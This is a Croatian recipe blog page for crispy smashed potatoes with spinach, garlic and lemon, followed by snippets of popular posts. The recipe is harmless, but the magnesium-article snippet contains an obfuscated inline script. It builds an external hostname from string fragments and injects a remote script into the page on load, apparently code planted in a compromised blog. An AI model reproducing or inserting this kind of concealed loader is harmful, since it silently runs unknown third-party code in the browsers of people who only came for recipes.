HRSKAVI SMASH KRUMPIRI SA ŠPINATOM I LIMUNOM 🍋 🥔


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>Hrskavi smash krumpiri sa špinatom i limunom



Hrskavi smash krumpiri sa špinatom i limunom 



Ako tražite jednostavno jelo koje može biti i lagana večera i konkretan prilog, kombinacija hrskavih krumpira i špinata pun je pogodak. Priprema je brza, sastojci su svakodnevni, a rezultat izgleda i ima okus kao da ste se ipak malo više potrudili.





Hrskavi smash krumpiri sa špinatom i limunom 



Sastojci:

500 g manjih krumpira
2 žlice maslinova ulja
2 režnja češnjaka
120 g svježeg špinata
sol po ukusu
svježe mljeveni crni papar po ukusu
1-2 žlice svježe iscijeđenog limunova soka
žlica nasjeckanog peršina ili drugog svježeg začinskog bilja po želji




Priprema:

Krumpire operite i kuhajte u posoljenoj vodi oko 15-20 minuta. Ocijedite ih i ostavite nekoliko minuta da se lagano prosuše. Na većoj tavi zagrijte žlicu maslinova ulja. Kuhane krumpire rasporedite po tavi i lagano ih pritisnite dnom čaše ili lopaticom kako biste ih spljoštili.

Pecite ih na srednje jakoj vatri 5-7 minuta, dok donja strana ne postane zlatna i hrskava. Pažljivo ih okrenite i pecite još nekoliko minuta s druge strane. U međuvremenu na drugoj tavi zagrijte preostalu žlicu maslinova ulja, dodajte sitno nasjeckani češnjak i kratko ga popržite dok ne zamiriše.

Umiješajte svježi špinat i pirjajte 2-3 minute, dok ne uvene. Posolite i popaprite po ukusu. Hrskave krumpire prebacite na tanjur, preko njih rasporedite topli špinat s češnjakom, zalijte limunovim sokom i pospite svježim začinskim biljem. Poslužite odmah, dok su krumpiri još topli i hrskavi.




Pripremila: Ivana Matas 



Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

PIKANTNA PITA OD JAJA I KRUMPIRA 🥔

Slika
https://punkufer.dnevnik.hr/clanak/hrana-i-pice/recept-za-rafanatu---958260.html Pikantna pita od jaja i krumpira  <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Ime jela dolazi od talijanske riječi  rafano , što znači hren – ključni sastojak ove fritate. Smatra se da su ga u   Basilicatu donijeli Normani još u 11. stoljeću, a s vremenom je postao neizostavan dio lokalne kuhinje. Zbog svoje dostupnosti, nutritivne vrijednosti i ljekovitih svojstava hren je bio osobito cijenjen među seljacima i pastirima, koji su ga nazivali "tartufom siromašnih" .  Pikantna pita od jaja i krumpira  Sastojci : 300 g krumpira, oguljenog, kuhanog i zgnječenog 8 jaja 80 g sira pecorino, naribanog 40 g hrena, naribanog (svježeg) sol, papar, maslinovo ulje Priprema: Zagrijte grill u pećnici na srednje jaku temperaturu. Vilicom rastresite...
Pročitajte više